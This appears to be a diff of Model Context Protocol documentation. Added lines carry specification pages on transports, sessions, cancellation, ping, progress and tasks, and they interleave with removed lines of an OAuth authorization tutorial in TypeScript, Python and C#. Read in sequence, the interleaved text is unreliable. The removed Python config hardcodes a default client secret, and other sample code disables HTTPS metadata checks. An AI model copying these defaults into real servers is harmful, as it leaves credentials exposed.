a +per-request basis. + +Implementations **MAY** choose to reset the timeout clock when receiving a [progress +notification](/specification/2025-11-25/basic/utilities/progress) corresponding to the request, as this +implies that work is actually happening. However, implementations **SHOULD** always +enforce a maximum timeout, regardless of progress notifications, to limit the impact of a +misbehaving client or server. + +## Error Handling + +Implementations **SHOULD** be prepared to handle these error cases: + +* Protocol version mismatch +* Failure to negotiate required capabilities +* Request [timeouts](#timeouts) + +Example initialization error: + +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "error": { + "code": -32602, + "message": "Unsupported protocol version", + "data": { + "supported": ["2024-11-05"], + "requested": "1.0.0" + } + } +} +``` + + +# Transports +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports + + + +
+ +MCP uses JSON-RPC to encode messages. JSON-RPC messages **MUST** be UTF-8 encoded. + +The protocol currently defines two standard transport mechanisms for client-server +communication: + +1. [stdio](#stdio), communication over standard in and standard out +2. [Streamable HTTP](#streamable-http) + +Clients **SHOULD** support stdio whenever possible. + +It is also possible for clients and servers to implement +[custom transports](#custom-transports) in a pluggable fashion. + +## stdio + +In the **stdio** transport: + +* The client launches the MCP server as a subprocess. +* The server reads JSON-RPC messages from its standard input (`stdin`) and sends messages + to its standard output (`stdout`). +* Messages are individual JSON-RPC requests, notifications, or responses. +* Messages are delimited by newlines, and **MUST NOT** contain embedded newlines. +* The server **MAY** write UTF-8 strings to its standard error (`stderr`) for any + logging purposes including informational, debug, and error messages. +* The client **MAY** capture, forward, or ignore the server's `stderr` output + and **SHOULD NOT** assume `stderr` output indicates error conditions. +* The server **MUST NOT** write anything to its `stdout` that is not a valid MCP message. +* The client **MUST NOT** write anything to the server's `stdin` that is not a valid MCP + message. + +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server Process + + Client->>+Server Process: Launch subprocess + loop Message Exchange + Client->>Server Process: Write to stdin + Server Process->>Client: Write to stdout + Server Process--)Client: Optional logs on stderr + end + Client->>Server Process: Close stdin, terminate subprocess + deactivate Server Process +``` + +## Streamable HTTP + + + This replaces the [HTTP+SSE + transport](/specification/2024-11-05/basic/transports#http-with-sse) from + protocol version 2024-11-05. See the [backwards compatibility](#backwards-compatibility) + guide below. + + +In the **Streamable HTTP** transport, the server operates as an independent process that +can handle multiple client connections. This transport uses HTTP POST and GET requests. +Server can optionally make use of +[Server-Sent Events](https://en.wikipedia.org/wiki/Server-sent_events) (SSE) to stream +multiple server messages. This permits basic MCP servers, as well as more feature-rich +servers supporting streaming and server-to-client notifications and requests. + +The server **MUST** provide a single HTTP endpoint path (hereafter referred to as the +**MCP endpoint**) that supports both POST and GET methods. For example, this could be a +URL like `https://example.com/mcp`. + +#### Security Warning + +When implementing Streamable HTTP transport: + +1. Servers **MUST** validate the `Origin` header on all incoming connections to prevent DNS rebinding attacks + * If the `Origin` header is present and invalid, servers **MUST** respond with HTTP 403 Forbidden. The HTTP response + body **MAY** comprise a JSON-RPC *error response* that has no `id` +2. When running locally, servers **SHOULD** bind only to localhost (127.0.0.1) rather than all network interfaces (0.0.0.0) +3. Servers **SHOULD** implement proper authentication for all connections + +Without these protections, attackers could use DNS rebinding to interact with local MCP servers from remote websites. + +### Sending Messages to the Server + +Every JSON-RPC message sent from the client **MUST** be a new HTTP POST request to the +MCP endpoint. + +1. The client **MUST** use HTTP POST to send JSON-RPC messages to the MCP endpoint. +2. The client **MUST** include an `Accept` header, listing both `application/json` and + `text/event-stream` as supported content types. +3. The body of the POST request **MUST** be a single JSON-RPC *request*, *notification*, or *response*. +4. If the input is a JSON-RPC *response* or *notification*: + * If the server accepts the input, the server **MUST** return HTTP status code 202 + Accepted with no body. + * If the server cannot accept the input, it **MUST** return an HTTP error status code + (e.g., 400 Bad Request). The HTTP response body **MAY** comprise a JSON-RPC *error + response* that has no `id`. +5. If the input is a JSON-RPC *request*, the server **MUST** either + return `Content-Type: text/event-stream`, to initiate an SSE stream, or + `Content-Type: application/json`, to return one JSON object. The client **MUST** + support both these cases. +6. If the server initiates an SSE stream: + * The server **SHOULD** immediately send an SSE event consisting of an event + ID and an empty `data` field in order to prime the client to reconnect + (using that event ID as `Last-Event-ID`). + * After the server has sent an SSE event with an event ID to the client, the + server **MAY** close the *connection* (without terminating the *SSE stream*) + at any time in order to avoid holding a long-lived connection. The client + **SHOULD** then "poll" the SSE stream by attempting to reconnect. + * If the server does close the *connection* prior to terminating the *SSE stream*, + it **SHOULD** send an SSE event with a standard [`retry`](https://html.spec.whatwg.org/multipage/server-sent-events.html#:~:text=field%20name%20is%20%22retry%22) field before + closing the connection. The client **MUST** respect the `retry` field, + waiting the given number of milliseconds before attempting to reconnect. + * The SSE stream **SHOULD** eventually include a JSON-RPC *response* for the + JSON-RPC *request* sent in the POST body. + * The server **MAY** send JSON-RPC *requests* and *notifications* before sending the + JSON-RPC *response*. These messages **SHOULD** relate to the originating client + *request*. + * The server **MAY** terminate the SSE stream if the [session](#session-management) + expires. + * After the JSON-RPC *response* has been sent, the server **SHOULD** terminate the + SSE stream. + * Disconnection **MAY** occur at any time (e.g., due to network conditions). + Therefore: + * Disconnection **SHOULD NOT** be interpreted as the client cancelling its request. + * To cancel, the client **SHOULD** explicitly send an MCP `CancelledNotification`. + * To avoid message loss due to disconnection, the server **MAY** make the stream + [resumable](#resumability-and-redelivery). + +### Listening for Messages from the Server + +1. The client **MAY** issue an HTTP GET to the MCP endpoint. This can be used to open an + SSE stream, allowing the server to communicate to the client, without the client first + sending data via HTTP POST. +2. The client **MUST** include an `Accept` header, listing `text/event-stream` as a + supported content type. +3. The server **MUST** either return `Content-Type: text/event-stream` in response to + this HTTP GET, or else return HTTP 405 Method Not Allowed, indicating that the server + does not offer an SSE stream at this endpoint. +4. If the server initiates an SSE stream: + * The server **MAY** send JSON-RPC *requests* and *notifications* on the stream. + * These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC + *request* from the client. + * The server **MUST NOT** send a JSON-RPC *response* on the stream **unless** + [resuming](#resumability-and-redelivery) a stream associated with a previous client + request. + * The server **MAY** close the SSE stream at any time. + * If the server closes the *connection* without terminating the *stream*, it + **SHOULD** follow the same polling behavior as described for POST requests: + sending a `retry` field and allowing the client to reconnect. + * The client **MAY** close the SSE stream at any time. + +### Multiple Connections + +1. The client **MAY** remain connected to multiple SSE streams simultaneously. +2. The server **MUST** send each of its JSON-RPC messages on only one of the connected + streams; that is, it **MUST NOT** broadcast the same message across multiple streams. + * The risk of message loss **MAY** be mitigated by making the stream + [resumable](#resumability-and-redelivery). + +### Resumability and Redelivery + +To support resuming broken connections, and redelivering messages that might otherwise be +lost: + +1. Servers **MAY** attach an `id` field to their SSE events, as described in the + [SSE standard](https://html.spec.whatwg.org/multipage/server-sent-events.html#event-stream-interpretation). + * If present, the ID **MUST** be globally unique across all streams within that + [session](#session-management)—or all streams with that specific client, if session + management is not in use. + * Event IDs **SHOULD** encode sufficient information to identify the originating + stream, enabling the server to correlate a `Last-Event-ID` to the correct stream. +2. If the client wishes to resume after a disconnection (whether due to network failure + or server-initiated closure), it **SHOULD** issue an HTTP GET to the MCP endpoint, + and include the + [`Last-Event-ID`](https://html.spec.whatwg.org/multipage/server-sent-events.html#the-last-event-id-header) + header to indicate the last event ID it received. + * The server **MAY** use this header to replay messages that would have been sent + after the last event ID, *on the stream that was disconnected*, and to resume the + stream from that point. + * The server **MUST NOT** replay messages that would have been delivered on a + different stream. + * This mechanism applies regardless of how the original stream was initiated (via + POST or GET). Resumption is always via HTTP GET with `Last-Event-ID`. + +In other words, these event IDs should be assigned by servers on a *per-stream* basis, to +act as a cursor within that particular stream. - const server = createMcpServer(); - await server.connect(transport); - } else { - res.status(400).json({ - jsonrpc: "2.0", - error: { - code: -32000, - message: "Bad Request: No valid session ID provided", - }, - id: null, - }); - return; - } +### Session Management - await transport.handleRequest(req, res, req.body); - }; +An MCP "session" consists of logically related interactions between a client and a +server, beginning with the [initialization phase](/specification/2025-11-25/basic/lifecycle). To support +servers which want to establish stateful sessions: - const handleSessionRequest = async ( - req: express.Request, - res: express.Response, - ) => { - const sessionId = req.headers["mcp-session-id"] as string | undefined; - if (!sessionId || !transports[sessionId]) { - res.status(400).send("Invalid or missing session ID"); - return; - } +1. A server using the Streamable HTTP transport **MAY** assign a session ID at + initialization time, by including it in an `MCP-Session-Id` header on the HTTP + response containing the `InitializeResult`. + * The session ID **SHOULD** be globally unique and cryptographically secure (e.g., a + securely generated UUID, a JWT, or a cryptographic hash). + * The session ID **MUST** only contain visible ASCII characters (ranging from 0x21 to + 0x7E). + * The client **MUST** handle the session ID in a secure manner, see [Session Hijacking mitigations](/specification/2025-11-25/basic/security_best_practices#session-hijacking) for more details. +2. If an `MCP-Session-Id` is returned by the server during initialization, clients using + the Streamable HTTP transport **MUST** include it in the `MCP-Session-Id` header on + all of their subsequent HTTP requests. + * Servers that require a session ID **SHOULD** respond to requests without an + `MCP-Session-Id` header (other than initialization) with HTTP 400 Bad Request. +3. The server **MAY** terminate the session at any time, after which it **MUST** respond + to requests containing that session ID with HTTP 404 Not Found. +4. When a client receives HTTP 404 in response to a request containing an + `MCP-Session-Id`, it **MUST** start a new session by sending a new `InitializeRequest` + without a session ID attached. +5. Clients that no longer need a particular session (e.g., because the user is leaving + the client application) **SHOULD** send an HTTP DELETE to the MCP endpoint with the + `MCP-Session-Id` header, to explicitly terminate the session. + * The server **MAY** respond to this request with HTTP 405 Method Not Allowed, + indicating that the server does not allow clients to terminate sessions. - const transport = transports[sessionId]; - await transport.handleRequest(req, res); - }; +### Sequence Diagram - app.post("/", authMiddleware, mcpPostHandler); - app.get("/", authMiddleware, handleSessionRequest); - app.delete("/", authMiddleware, handleSessionRequest); +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server - app.listen(CONFIG.port, CONFIG.host, () => { - console.log(`🚀 MCP Server running on ${mcpServerUrl.origin}`); - console.log(`📡 MCP endpoint available at ${mcpServerUrl.origin}`); - console.log( - `🔐 OAuth metadata available at ${getOAuthProtectedResourceMetadataUrl(mcpServerUrl)}`, - ); - }); - ``` + note over Client, Server: initialization - When you run the server, you can add it to your MCP client, such as Visual Studio Code, by providing the MCP server endpoint. + Client->>+Server: POST InitializeRequest + Server->>-Client: InitializeResponse
MCP-Session-Id: 1868a90c... + + Client->>+Server: POST InitializedNotification
MCP-Session-Id: 1868a90c... + Server->>-Client: 202 Accepted + + note over Client, Server: client requests + Client->>+Server: POST ... request ...
MCP-Session-Id: 1868a90c... + + alt single HTTP response + Server->>Client: ... response ... + else server opens SSE stream + loop while connection remains open + Server-)Client: ... SSE messages from server ... + end + Server-)Client: SSE event: ... response ... + end + deactivate Server + + note over Client, Server: client notifications/responses + Client->>+Server: POST ... notification/response ...
MCP-Session-Id: 1868a90c... + Server->>-Client: 202 Accepted + + note over Client, Server: server requests + Client->>+Server: GET
MCP-Session-Id: 1868a90c... + loop while connection remains open + Server-)Client: ... SSE messages from server ... + end + deactivate Server + +``` + +### Protocol Version Header + +If using HTTP, the client **MUST** include the `MCP-Protocol-Version: ` HTTP header on all subsequent requests to the MCP +server, allowing the MCP server to respond based on the MCP protocol version. + +For example: `MCP-Protocol-Version: 2025-11-25` + +The protocol version sent by the client **SHOULD** be the one [negotiated during +initialization](/specification/2025-11-25/basic/lifecycle#version-negotiation). + +For backwards compatibility, if the server does *not* receive an `MCP-Protocol-Version` +header, and has no other way to identify the version - for example, by relying on the +protocol version negotiated during initialization - the server **SHOULD** assume protocol +version `2025-03-26`. + +If the server receives a request with an invalid or unsupported +`MCP-Protocol-Version`, it **MUST** respond with `400 Bad Request`. + +### Backwards Compatibility + +Clients and servers can maintain backwards compatibility with the deprecated [HTTP+SSE +transport](/specification/2024-11-05/basic/transports#http-with-sse) (from +protocol version 2024-11-05) as follows: + +**Servers** wanting to support older clients should: + +* Continue to host both the SSE and POST endpoints of the old transport, alongside the + new "MCP endpoint" defined for the Streamable HTTP transport. + * It is also possible to combine the old POST endpoint and the new MCP endpoint, but + this may introduce unneeded complexity. + +**Clients** wanting to support older servers should: + +1. Accept an MCP server URL from the user, which may point to either a server using the + old transport or the new transport. +2. Attempt to POST an `InitializeRequest` to the server URL, with an `Accept` header as + defined above: + * If it succeeds, the client can assume this is a server supporting the new Streamable + HTTP transport. + * If it fails with the following HTTP status codes "400 Bad Request", "404 Not + Found" or "405 Method Not Allowed": + * Issue a GET request to the server URL, expecting that this will open an SSE stream + and return an `endpoint` event as the first event. + * When the `endpoint` event arrives, the client can assume this is a server running + the old HTTP+SSE transport, and should use that transport for all subsequent + communication. + +## Custom Transports + +Clients and servers **MAY** implement additional custom transport mechanisms to suit +their specific needs. The protocol is transport-agnostic and can be implemented over any +communication channel that supports bidirectional message exchange. + +Implementers who choose to support custom transports **MUST** ensure they preserve the +JSON-RPC message format and lifecycle requirements defined by MCP. Custom transports +**SHOULD** document their specific connection establishment and message exchange patterns +to aid interoperability. + + +# Cancellation +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/cancellation + + + +
+ +The Model Context Protocol (MCP) supports optional cancellation of in-progress requests +through notification messages. Either side can send a cancellation notification to +indicate that a previously-issued request should be terminated. + +## Cancellation Flow + +When a party wants to cancel an in-progress request, it sends a `notifications/cancelled` +notification containing: + +* The ID of the request to cancel +* An optional reason string that can be logged or displayed + +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/cancelled", + "params": { + "requestId": "123", + "reason": "User requested cancellation" + } +} +``` + +## Behavior Requirements + +1. Cancellation notifications **MUST** only reference requests that: + * Were previously issued in the same direction + * Are believed to still be in-progress +2. The `initialize` request **MUST NOT** be cancelled by clients +3. For [task-augmented requests](./tasks), the `tasks/cancel` request **MUST** be used instead of the `notifications/cancelled` notification. Tasks have their own dedicated cancellation mechanism that returns the final task state. +4. Receivers of cancellation notifications **SHOULD**: + * Stop processing the cancelled request + * Free associated resources + * Not send a response for the cancelled request +5. Receivers **MAY** ignore cancellation notifications if: + * The referenced request is unknown + * Processing has already completed + * The request cannot be cancelled +6. The sender of the cancellation notification **SHOULD** ignore any response to the + request that arrives afterward + +## Timing Considerations + +Due to network latency, cancellation notifications may arrive after request processing +has completed, and potentially after a response has already been sent. + +Both parties **MUST** handle these race conditions gracefully: + +```mermaid theme={null} +sequenceDiagram + participant Client + participant Server + + Client->>Server: Request (ID: 123) + Note over Server: Processing starts + Client--)Server: notifications/cancelled (ID: 123) + alt + Note over Server: Processing may have
completed before
cancellation arrives + else If not completed + Note over Server: Stop processing + end +``` + +## Implementation Notes + +* Both parties **SHOULD** log cancellation reasons for debugging +* Application UIs **SHOULD** indicate when cancellation is requested + +## Error Handling - For more details about implementing MCP servers in TypeScript, refer to the [TypeScript SDK documentation](https://github.com/modelcontextprotocol/typescript-sdk). - +Invalid cancellation notifications **SHOULD** be ignored: - - You can see the complete Python project in the [sample repository](https://github.com/localden/min-py-mcp-auth). +* Unknown request IDs +* Already completed requests +* Malformed notifications - To simplify our authorization interaction, in Python scenarios we rely on [FastMCP](https://gofastmcp.com/getting-started/welcome). Many of the conventions around authorization, like the endpoints and token validation logic, are consistent across languages, but some offer simpler ways of integrating them in production scenarios. +This maintains the "fire and forget" nature of notifications while allowing for race +conditions in asynchronous communication. - Prior to writing the actual server, we need to set up our configuration in `config.py` - the contents are entirely based on your local server setup: - ```python theme={null} - """Configuration settings for the MCP auth server.""" +# Ping +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/ping - import os - from typing import Optional - class Config: - """Configuration class that loads from environment variables with sensible defaults.""" +
- # Server settings - HOST: str = os.getenv("HOST", "localhost") - PORT: int = int(os.getenv("PORT", "3000")) +The Model Context Protocol includes an optional ping mechanism that allows either party +to verify that their counterpart is still responsive and the connection is alive. - # Auth server settings - AUTH_HOST: str = os.getenv("AUTH_HOST", "localhost") - AUTH_PORT: int = int(os.getenv("AUTH_PORT", "8080")) - AUTH_REALM: str = os.getenv("AUTH_REALM", "master") +## Overview - # OAuth client settings - OAUTH_CLIENT_ID: str = os.getenv("OAUTH_CLIENT_ID", "mcp-server") - OAUTH_CLIENT_SECRET: str = os.getenv("OAUTH_CLIENT_SECRET", "UO3rmozkFFkXr0QxPTkzZ0LMXDidIikB") +The ping functionality is implemented through a simple request/response pattern. Either +the client or server can initiate a ping by sending a `ping` request. - # Server settings - MCP_SCOPE: str = os.getenv("MCP_SCOPE", "mcp:tools") - OAUTH_STRICT: bool = os.getenv("OAUTH_STRICT", "false").lower() in ("true", "1", "yes") - TRANSPORT: str = os.getenv("TRANSPORT", "streamable-http") +## Message Format - @property - def server_url(self) -> str: - """Build the server URL.""" - return f"http://{self.HOST}:{self.PORT}" +A ping request is a standard JSON-RPC request with no parameters: - @property - def auth_base_url(self) -> str: - """Build the auth server base URL.""" - return f"http://{self.AUTH_HOST}:{self.AUTH_PORT}/realms/{self.AUTH_REALM}/" +```json theme={null} +{ + "jsonrpc": "2.0", + "id": "123", + "method": "ping" +} +``` - def validate(self) -> None: - """Validate configuration.""" - if self.TRANSPORT not in ["sse", "streamable-http"]: - raise ValueError(f"Invalid transport: {self.TRANSPORT}. Must be 'sse' or 'streamable-http'") +## Behavior Requirements +1. The receiver **MUST** respond promptly with an empty response: - # Global configuration instance - config = Config() +```json theme={null} +{ + "jsonrpc": "2.0", + "id": "123", + "result": {} +} +``` - ``` +2. If no response is received within a reasonable timeout period, the sender **MAY**: + * Consider the connection stale + * Terminate the connection + * Attempt reconnection procedures - The server implementation is as follows: +## Usage Patterns - ```python theme={null} - import datetime - import logging - from typing import Any +```mermaid theme={null} +sequenceDiagram + participant Sender + participant Receiver - from pydantic import AnyHttpUrl + Sender->>Receiver: ping request + Receiver->>Sender: empty response +``` - from mcp.server.auth.settings import AuthSettings - from mcp.server.fastmcp.server import FastMCP +## Implementation Considerations - from .config import config - from .token_verifier import IntrospectionTokenVerifier +* Implementations **SHOULD** periodically issue pings to detect connection health +* The frequency of pings **SHOULD** be configurable +* Timeouts **SHOULD** be appropriate for the network environment +* Excessive pinging **SHOULD** be avoided to reduce network overhead - logger = logging.getLogger(__name__) +## Error Handling +* Timeouts **SHOULD** be treated as connection failures +* Multiple failed pings **MAY** trigger connection reset +* Implementations **SHOULD** log ping failures for diagnostics - def create_oauth_urls() -> dict[str, str]: - """Create OAuth URLs based on configuration (Keycloak-style).""" - from urllib.parse import urljoin - auth_base_url = config.auth_base_url +# Progress +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/progress - return { - "issuer": auth_base_url, - "introspection_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token/introspect"), - "authorization_endpoint": urljoin(auth_base_url, "protocol/openid-connect/auth"), - "token_endpoint": urljoin(auth_base_url, "protocol/openid-connect/token"), - } - def create_server() -> FastMCP: - """Create and configure the FastMCP server.""" +
- config.validate() +The Model Context Protocol (MCP) supports optional progress tracking for long-running +operations through notification messages. Either side can send progress notifications to +provide updates about operation status. - oauth_urls = create_oauth_urls() +## Progress Flow - token_verifier = IntrospectionTokenVerifier( - introspection_endpoint=oauth_urls["introspection_endpoint"], - server_url=config.server_url, - client_id=config.OAUTH_CLIENT_ID, - client_secret=config.OAUTH_CLIENT_SECRET, - ) +When a party wants to *receive* progress updates for a request, it includes a +`progressToken` in the request metadata. - app = FastMCP( - name="MCP Resource Server", - instructions="Resource Server that validates tokens via Authorization Server introspection", - host=config.HOST, - port=config.PORT, - debug=True, - streamable_http_path="/", - token_verifier=token_verifier, - auth=AuthSettings( - issuer_url=AnyHttpUrl(oauth_urls["issuer"]), - required_scopes=[config.MCP_SCOPE], - resource_server_url=AnyHttpUrl(config.server_url), - ), - ) +* Progress tokens **MUST** be a string or integer value +* Progress tokens can be chosen by the sender using any means, but **MUST** be unique + across all active requests. - @app.tool() - async def add_numbers(a: float, b: float) -> dict[str, Any]: - """ - Add two numbers together. - This tool demonstrates basic arithmetic operations with OAuth authentication. +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 1, + "method": "some_method", + "params": { + "_meta": { + "progressToken": "abc123" + } + } +} +``` - Args: - a: The first number to add - b: The second number to add - """ - result = a + b - return { - "operation": "addition", - "operand_a": a, - "operand_b": b, - "result": result, - "timestamp": datetime.datetime.now().isoformat() - } +The receiver **MAY** then send progress notifications containing: - @app.tool() - async def multiply_numbers(x: float, y: float) -> dict[str, Any]: - """ - Multiply two numbers together. - This tool demonstrates basic arithmetic operations with OAuth authentication. +* The original progress token +* The current progress value so far +* An optional "total" value +* An optional "message" value - Args: - x: The first number to multiply - y: The second number to multiply - """ - result = x * y - return { - "operation": "multiplication", - "operand_x": x, - "operand_y": y, - "result": result, - "timestamp": datetime.datetime.now().isoformat() - } +```json theme={null} +{ + "jsonrpc": "2.0", + "method": "notifications/progress", + "params": { + "progressToken": "abc123", + "progress": 50, + "total": 100, + "message": "Reticulating splines..." + } +} +``` - return app +* The `progress` value **MUST** increase with each notification, even if the total is + unknown. +* The `progress` and the `total` values **MAY** be floating point. +* The `message` field **SHOULD** provide relevant human readable progress information. +## Behavior Requirements - def main() -> int: - """ - Run the MCP Resource Server. +1. Progress notifications **MUST** only reference tokens that: + * Were provided in an active request + * Are associated with an in-progress operation - This server: - - Provides RFC 9728 Protected Resource Metadata - - Validates tokens via Authorization Server introspection - - Serves MCP tools requiring authentication +2. Receivers of progress requests **MAY**: + * Choose not to send any progress notifications + * Send notifications at whatever frequency they deem appropriate + * Omit the total value if unknown - Configuration is loaded from config.py and environment variables. - """ - logging.basicConfig(level=logging.INFO) +3. For [task-augmented requests](./tasks), the `progressToken` provided in the original request **MUST** continue to be used for progress notifications throughout the task's lifetime, even after the `CreateTaskResult` has been returned. The progress token remains valid and associated with the task until the task reaches a terminal status. + * Progress notifications for tasks **MUST** use the same `progressToken` that was provided in the initial task-augmented request + * Progress notifications for tasks **MUST** stop after the task reaches a terminal status (`completed`, `failed`, or `cancelled`) - try: - config.validate() - oauth_urls = create_oauth_urls() +```mermaid theme={null} +sequenceDiagram + participant Sender + participant Receiver - except ValueError as e: - logger.error("Configuration error: %s", e) - return 1 + Note over Sender,Receiver: Request with progress token + Sender->>Receiver: Method request with progressToken - try: - mcp_server = create_server() + Note over Sender,Receiver: Progress updates + Receiver-->>Sender: Progress notification (0.2/1.0) + Receiver-->>Sender: Progress notification (0.6/1.0) + Receiver-->>Sender: Progress notification (1.0/1.0) - logger.info("Starting MCP Server on %s:%s", config.HOST, config.PORT) - logger.info("Authorization Server: %s", oauth_urls["issuer"]) - logger.info("Transport: %s", config.TRANSPORT) + Note over Sender,Receiver: Operation complete + Receiver->>Sender: Method response +``` - mcp_server.run(transport=config.TRANSPORT) - return 0 +## Implementation Notes - except Exception: - logger.exception("Server error") - return 1 +* Senders and receivers **SHOULD** track active progress tokens +* Both parties **SHOULD** implement rate limiting to prevent flooding +* Progress notifications **MUST** stop after completion - if __name__ == "__main__": - exit(main()) - ``` +# Tasks +Source: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks - Lastly, the token verification logic is delegated entirely to `token_verifier.py`, ensuring that we can use the Keycloak introspection endpoint to verify the validity of any credential artifacts - ```python theme={null} - """Token verifier implementation using OAuth 2.0 Token Introspection (RFC 7662).""" - import logging - from typing import Any +
- from mcp.server.auth.provider import AccessToken, TokenVerifier - from mcp.shared.auth_utils import check_resource_allowed, resource_url_from_server_url + + Tasks were introduced in version 2025-11-25 of the MCP specification and are currently considered **experimental**. + The design and behavior of tasks may evolve in future protocol versions. + - logger = logging.getLogger(__name__) +The Model Context Protocol (MCP) allows requestors — which can be either clients or servers, depending on the direction of communication — to augment their requests with **tasks**. Tasks are durable state machines that carry information about the underlying execution state of the request they wrap, and are intended for requestor polling and deferred result retrieval. Each task is uniquely identifiable by a receiver-generated **task ID**. +Tasks are useful for representing expensive computations and batch processing requests, and integrate seamlessly with external job APIs. - class IntrospectionTokenVerifier(TokenVerifier): - """Token verifier that uses OAuth 2.0 Token Introspection (RFC 7662). - """ +## Definitions - def __init__( - self, - introspection_endpoint: str, - server_url: str, - client_id: str, - client_secret: str, - ): - self.introspection_endpoint = introspection_endpoint - self.server_url = server_url - self.client_id = client_id - self.client_secret = client_secret - self.resource_url = resource_url_from_server_url(server_url) +Tasks represent parties as either "requestors" or "receivers," defined as follows: - async def verify_token(self, token: str) -> AccessToken | None: - """Verify token via introspection endpoint.""" - import httpx +* **Requestor:** The sender of a task-augmented request. This can be the client or the server — either can create tasks. +* **Receiver:** The receiver of a task-augmented request, and the entity executing the task. This can be the client or the server — either can receive and execute tasks. - if not self.introspection_endpoint.startswith(("https://", "http://localhost", "http://127.0.0.1")): - return None +## User Interaction Model - timeout = httpx.Timeout(10.0, connect=5.0) - limits = httpx.Limits(max_connections=10, max_keepalive_connections=5) +Tasks are designed to be **requestor-driven** - requestors are responsible for augmenting requests with tasks and for polling for the results of those tasks; meanwhile, receivers tightly control which requests (if any) support task-based execution and manages the lifecycles of those tasks. - async with httpx.AsyncClient( - timeout=timeout, - limits=limits, - verify=True, - ) as client: - try: - form_data = { - "token": token, - "client_id": self.client_id, - "client_secret": self.client_secret, - } - headers = {"Content-Type": "application/x-www-form-urlencoded"} +This requestor-driven approach ensures deterministic response handling and enables sophisticated patterns such as dispatching concurrent requests, which only the requestor has sufficient context to orchestrate. - response = await client.post( - self.introspection_endpoint, - data=form_data, - headers=headers, - ) +Implementations are free to expose tasks through any interface pattern that suits their needs — the protocol itself does not mandate any specific user interaction model. - if response.status_code != 200: - return None +## Capabilities - data = response.json() - if not data.get("active", False): - return None +Servers and clients that support task-augmented requests **MUST** declare a `tasks` capability during initialization. The `tasks` capability is structured by request category, with boolean properties indicating which specific request types support task augmentation. - if not self._validate_resource(data): - return None +### Server Capabilities - return AccessToken( - token=token, - client_id=data.get("client_id", "unknown"), - scopes=data.get("scope", "").split() if data.get("scope") else [], - expires_at=data.get("exp"), - resource=data.get("aud"), # Include resource in token - ) +Servers declare if they support tasks, and if so, which server-side requests can be augmented with tasks. - except Exception as e: - return None +| Capability | Description | +| --------------------------- | ---------------------------------------------------- | +| `tasks.list` | Server supports the `tasks/list` operation | +| `tasks.cancel` | Server supports the `tasks/cancel` operation | +| `tasks.requests.tools.call` | Server supports task-augmented `tools/call` requests | - def _validate_resource(self, token_data: dict[str, Any]) -> bool: - """Validate token was issued for this resource server. +```json theme={null} +{ + "capabilities": { + "tasks": { + "list": {}, + "cancel": {}, + "requests": { + "tools": { + "call": {} + } + } + } + } +} +``` - Rules: - - Reject if 'aud' missing. - - Accept if any audience entry matches the derived resource URL. - - Supports string or list forms per JWT spec. - """ - if not self.server_url or not self.resource_url: - return False +### Client Capabilities - aud: list[str] | str | None = token_data.get("aud") - if isinstance(aud, list): - return any(self._is_valid_resource(a) for a in aud) - if isinstance(aud, str): - return self._is_valid_resource(aud) - return False +Clients declare if they support tasks, and if so, which client-side requests can be augmented with tasks. - def _is_valid_resource(self, resource: str) -> bool: - """Check if the given resource matches our server.""" - return check_resource_allowed(self.resource_url, resource) - ``` +| Capability | Description | +| --------------------------------------- | ---------------------------------------------------------------- | +| `tasks.list` | Client supports the `tasks/list` operation | +| `tasks.cancel` | Client supports the `tasks/cancel` operation | +| `tasks.requests.sampling.createMessage` | Client supports task-augmented `sampling/createMessage` requests | +| `tasks.requests.elicitation.create` | Client supports task-augmented `elicitation/create` requests | - For more details, see the [Python SDK documentation](https://github.com/modelcontextprotocol/python-sdk). - +```json theme={null} +{ + "capabilities": { + "tasks": { + "list": {}, + "cancel": {}, + "requests": { + "sampling": { + "createMessage": {} + }, + "elicitation": { + "create": {} + } + } + } + } +} +``` - - You can see the complete C# project in the [sample repository](https://github.com/localden/min-cs-mcp-auth). +### Capability Negotiation - To set up authorization in your MCP server using the MCP C# SDK, you can lean on the standard ASP.NET Core builder pattern. Instead of using the introspection endpoint provided by Keycloak, we will use built-in ASP.NET Core capabilities for token validation. +During the initialization phase, both parties exchange their `tasks` capabilities to establish which operations support task-based execution. Requestors **SHOULD** only augment requests with a task if the corresponding capability has been declared by the receiver. - ```csharp theme={null} - using Microsoft.AspNetCore.Authentication.JwtBearer; - using Microsoft.IdentityModel.Tokens; - using ModelContextProtocol.AspNetCore.Authentication; - using ProtectedMcpServer.Tools; - using System.Security.Claims; +For example, if a server's capabilities include `tasks.requests.tools.call: {}`, then clients may augment `tools/call` requests with a task. If a client's capabilities include `tasks.requests.sampling.createMessage: {}`, then servers may augment `sampling/createMessage` requests with a task. - var builder = WebApplication.CreateBuilder(args); +If `capabilities.tasks` is not defined, the peer **SHOULD NOT** attempt to create tasks during requests. - var serverUrl = "http://localhost:3000/"; - var authorizationServerUrl = "http://localhost:8080/realms/master/"; +The set of capabilities in `capabilities.tasks.requests` is exhaustive. If a request type is not present, it does not support task-augmentation. - builder.Services.AddAuthentication(options => - { - options.DefaultChallengeScheme = McpAuthenticationDefaults.AuthenticationScheme; - options.DefaultAuthenticateScheme = JwtBearerDefaults.AuthenticationScheme; - }) - .AddJwtBearer(options => - { - options.Authority = authorizationServerUrl; - var normalizedServerAudience = serverUrl.TrimEnd('/'); - options.TokenValidationParameters = new TokenValidationParameters - { - ValidIssuer = authorizationServerUrl, - ValidAudiences = new[] { normalizedServerAudience, serverUrl }, - AudienceValidator = (audiences, securityToken, validationParameters) => - { - if (audiences == null) return false; - foreach (var aud in audiences) - { - if (string.Equals(aud.TrimEnd('/'), normalizedServerAudience, StringComparison.OrdinalIgnoreCase)) - { - return true; - } - } - return false; - } - }; +`capabilities.tasks.list` controls if the `tasks/list` operation is supported by the party. - options.RequireHttpsMetadata = false; // Set to true in production +`capabilities.tasks.cancel` controls if the `tasks/cancel` operation is supported by the party. - options.Events = new JwtBearerEvents - { - OnTokenValidated = context => - { - var name = context.Principal?.Identity?.Name ?? "unknown"; - var email = 